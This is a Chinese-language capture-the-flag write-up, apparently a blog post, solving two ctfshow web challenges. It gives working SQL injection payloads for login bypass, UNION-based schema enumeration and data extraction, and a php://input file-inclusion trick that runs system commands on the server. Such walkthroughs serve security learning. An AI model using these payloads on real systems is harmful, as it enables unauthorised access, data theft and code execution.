CTF秀-WEB

CTF秀-WEB

  • 一、web02
  • 二、web3

一、web02

CTF秀-WEB_第1张图片
1、从图中可以看出是POST类型的SQL注入。
2、使用BurpSuitzhuab。

CTF秀-WEB_第2张图片

3、发送到repeat模块。
CTF秀-WEB_第3张图片
CTF秀-WEB_第4张图片

4、查看是否存在万能密码。

1' or 1=1#

CTF秀-WEB_第5张图片

5、发现存在万能密码,且注入类型为单引号的字符串类型。
6、查看有几列。

  • 使用命令1' order by 3# 找不出有几列,因为无论是否找到正确的列数都是显示一样的页面,要使用命令1' or 1=1 order by 3# 当列数错误的时候,”欢迎…“的字段会消失。
1' order by 3#

CTF秀-WEB_第6张图片

1' or 1=1 order by 3#

CTF秀-WEB_第7张图片

1' or 1=1 order by 4#

CTF秀-WEB_第8张图片

7、可以看出有3列,进行回显。

1' or 1=1 union select 1,2,3#

CTF秀-WEB_第9张图片

8、可以看出回显出2,开始查询数据库名。

1' or 1=1 union select 1,database(),3#

CTF秀-WEB_第10张图片

9、可以看出查询出的数据库名是:web2,开始查询数据表。

1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

CTF秀-WEB_第11张图片

10、可以看到查询出的数据分别是:flag和user,开始查询指定数据表的数据列。

1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns  where table_schema='web2' and table_name='flag'#

CTF秀-WEB_第12张图片

11、可以看到查询到的列名是:flag,开始查询数据信息。

1' or 1=1 union select 1,flag,3 from flag # 

CTF秀-WEB_第13张图片

1' or 1=1 union select 1,flag,3 from 'flag' #     #加引号查询不出来

CTF秀-WEB_第14张图片

12、获得flag。

二、web3

CTF秀-WEB_第15张图片

  • 可以看出上述页面出现的代码存在文件包含函数include
  • 这段代码的含义是,它会包含并执行用户通过GET请求传递的URL所指定的文件。具体来说,$_GET[‘url’]部分会获取用户通过URL传递的url参数的数值,然后include语句会将这个值作为文件路径进行处理,并执行其中的PHP代码。
  • 存在文件包含时直接使用PHP伪协议

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。

1、查看该路径下有什么文件。

<?php system("ls");?>

CTF秀-WEB_第16张图片

2、查看指定文件。

<?php system("cat ctf_go_go_go");?>

CTF秀-WEB_第17张图片

3、也可以使用Bp进行抓包处理。
CTF秀-WEB_第18张图片

4、发送到repeat模块。
CTF秀-WEB_第19张图片

5、添加数据,要空一行,否则不会出现结果。
CTF秀-WEB_第20张图片

你可能感兴趣的:(web安全,学习,前端,数据库,网络安全,网络,ctfshow)